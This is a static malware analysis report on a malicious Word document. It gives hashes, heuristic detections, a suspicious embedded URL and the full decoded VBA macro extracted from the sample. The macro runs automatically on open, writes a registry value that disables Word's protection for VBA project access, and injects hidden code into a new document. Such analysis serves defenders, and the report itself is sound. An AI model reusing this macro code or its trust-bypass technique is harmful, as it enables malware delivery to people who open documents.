Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 034e79a630ffeded…

MALICIOUS

Office (OOXML)

169.2 KB Created: 2021-04-27 05:44:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-04
MD5: 21fbd9448baaaaf1a14a76a1da9d58bf SHA-1: c29aa876cdf87c39498ba5284ac91c9c129e1ca3 SHA-256: 034e79a630ffeded1be3be03344632875fb3120e158aea67f45bd4e559dfea25
230 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    CreateObject("wscript.shell").RegWrite trustValueRef, 1, "REG_DWORD"
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    leftConstButton.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString bufData
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set procLocal = CreateObject("msxml2.domdocument")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://morton2021-property.com/bijol/VQRkXxAUJCGiROuYqkQS2S6wLI6Qe/jwwbUdss6/52207/IrIDcrRptfFED3XkhA5Ut5TnQfIatiphWXjamrgNj/fozu15?time=gcHHxnoOwYHRVl7TXkAxlhASj14&search=xvmOWun2JxPqUfslVIuDLwCCRM4a&id=CivkN3E44XC1g00TJD&ref=OSKl23HGf1&VSaa2cEt=55s In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2502 bytes
SHA-256: 4ba64d1e3f421bd5983c30c2286255b6a7cbab1edfa568d2d8873f7fb1743688
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{3AA45E04-1A6B-4A07-B30F-9C1E7287C367}{D6320A22-ED87-4513-8200-1B8EEF6700FE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "rightArray"
Sub autoopen()
rightConst
Dim deleteClearMem As String
deleteClearMem = valueDocumentConvert
libMem deleteClearMem
End Sub

Attribute VB_Name = "buttonViewMain"
Function dataOptionLocal(lenButton As String) As Variant
Dim procLocal As Object
Dim storageClassView As Object
Set procLocal = CreateObject("msxml2.domdocument")
Set storageClassView = procLocal.createElement("code")
storageClassView.DataType = "bin.base64"
storageClassView.Text = lenButton
dataOptionLocal = storageClassView.nodeTypedValue
End Function

Attribute VB_Name = "tempValue"
Sub libMem(bufData As String)
Set lenDeleteOption = CreateObject("word.application")
Set leftConstButton = lenDeleteOption.Documents.Add
leftConstButton.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString bufData
lenDeleteOption.Visible = False
lenDeleteOption.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "documentIndexProc"
Function loadCounter() As String
loadCounter = Application.Version
End Function
Sub rightConst()
ptrVar = StrConv(dataOptionLocal("SEtFWV9DVVJSRU5UX1VTRVJcU29mdHdhcmVcTWljcm9zb2Z0XE9mZmljZVw="), vbUnicode)
globalVbQuery = loadCounter
windowRemove = StrConv(dataOptionLocal("XFdvcmRcU2VjdXJpdHlcQWNjZXNzVkJPTQ=="), vbUnicode)
trustValueRef = ptrVar & globalVbQuery & windowRemove
CreateObject("wscript.shell").RegWrite trustValueRef, 1, "REG_DWORD"
End Sub
Public Function rightQueryTable(ByVal exceptionListboxDelete As String) As String
For clearDocument = 1 To Len(exceptionListboxDelete) Step 2
tableStorageArgument = Chr$(Val("&H" & Mid$(exceptionListboxDelete, clearDocument, 2)))
iteratorMem = iteratorMem & tableStorageArgument
Next clearDocument
rightQueryTable = iteratorMem
End Function
Function valueDocumentConvert()
valueDocumentConvert = UserForm1.TextBox1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 26112 bytes
SHA-256: 211d9f38039313c2b78edc2fae28d3eb1225dee5565a566b76c95d32a5fe51e8

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